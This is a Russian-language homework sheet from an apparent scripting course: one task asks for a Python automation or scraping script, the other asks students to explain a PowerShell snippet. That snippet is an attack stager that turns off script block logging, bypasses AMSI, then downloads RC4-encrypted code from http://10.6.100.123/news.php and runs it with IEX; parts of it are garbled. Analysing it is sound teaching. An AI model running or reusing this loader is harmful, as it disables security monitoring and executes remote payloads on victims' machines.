

Домашнее задание № 27

Scripting, web, python part 2

1. Написать красочный интерактивный python-script для автоматизации ваших часто повторяемых действий, либо парсинга сайта для получения нужной информации
2. Расписать действия данного powershell

```
IF ($PSVersionTable.PSVersion.Major -ge 3) {

$GPF=[REF].Assembly.GetType("System.Management.Automation.Utils").GetMethod("GetField", "cachedGroupPolicySettings", 'N'+'onPublic,Static');
If ($GPF) {
    $GPC=$GPF.GetValue($NULL);
    IF ($GPC["ScriptB'+lockLogging"]) {
        $GPC["ScriptB'+lockLogging"]['EnableScriptB'+lockLogging']=0;
        $GPC["ScriptB'+lockLogging"]['EnableScriptBlockInvocationLogging']=0
    }
    $val=[Collection.Generic.Dictionary[string, System.Object]]::new();
    $val.Add('EnableScriptB'+lockLogging',0);
    $val.Add('EnableScriptBlockInvocationLogging',0);
    $GPC["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+lockLogging"]=$val
} Else {
[ScriptBlock].GetMethod("signatures", 'NonPublic,Static').SetValues($Null, (New-Object Collections.Generic.HashSet[string]))
}
[REF].Assembly.GetType("System.Management.Automation.AmsiUtils")|?{$_.Name -eq 'GetField'}|ForEach-Object {
    $_.SetField('amsinitFailed', 'NonPublic,Static').SetValues($Null, $True);
};
[System.Net.ServicePointManager]::Expect100Continue=0;
$WC=New-Object System.Net.WebClient;
$u="Mozilla/5.0(WindowsNT6.1; WOW64; Trident/7.0; rv:11.0)likeGecko";
$wc.Headers.Add('User-Agent', $u);
$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
$Script:Proxy=$wc.Proxy;
$K=[System.Text.Encoding]::ASCII.GetBytes('99754106633f94d350db34d548d6091a');
$R=($D,$K,$ArGs,$S=0..255|%{$J=($J+$S[$_] + $K[$_%$K.Count])%256;$S[$_]=$S[$J];$S[$J]=$S[$_];$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I]=$S[$H];$S[$H]=$S[$I];$_-bxor$S[(($S[$I]+$S[$H])%256)]};$ser='http://10.6.100.123:80';$t='/news.php';$WC.Headers.Add("Cookie","session=8xD4koAuu7qHah4KQzwZ/kDq4Oc=");$DATA=$WC.DownloadData($SER+$T);$IV=$Data[0..3];$data=$Data[4..$data.Length];-join($Ar)(&$Rdata($IV+$K))|EX
```

Ссылки на дополнительные ресурсы

- [Создание symbol table для кастомных ядер](#)
- [HTML5 Templates](#)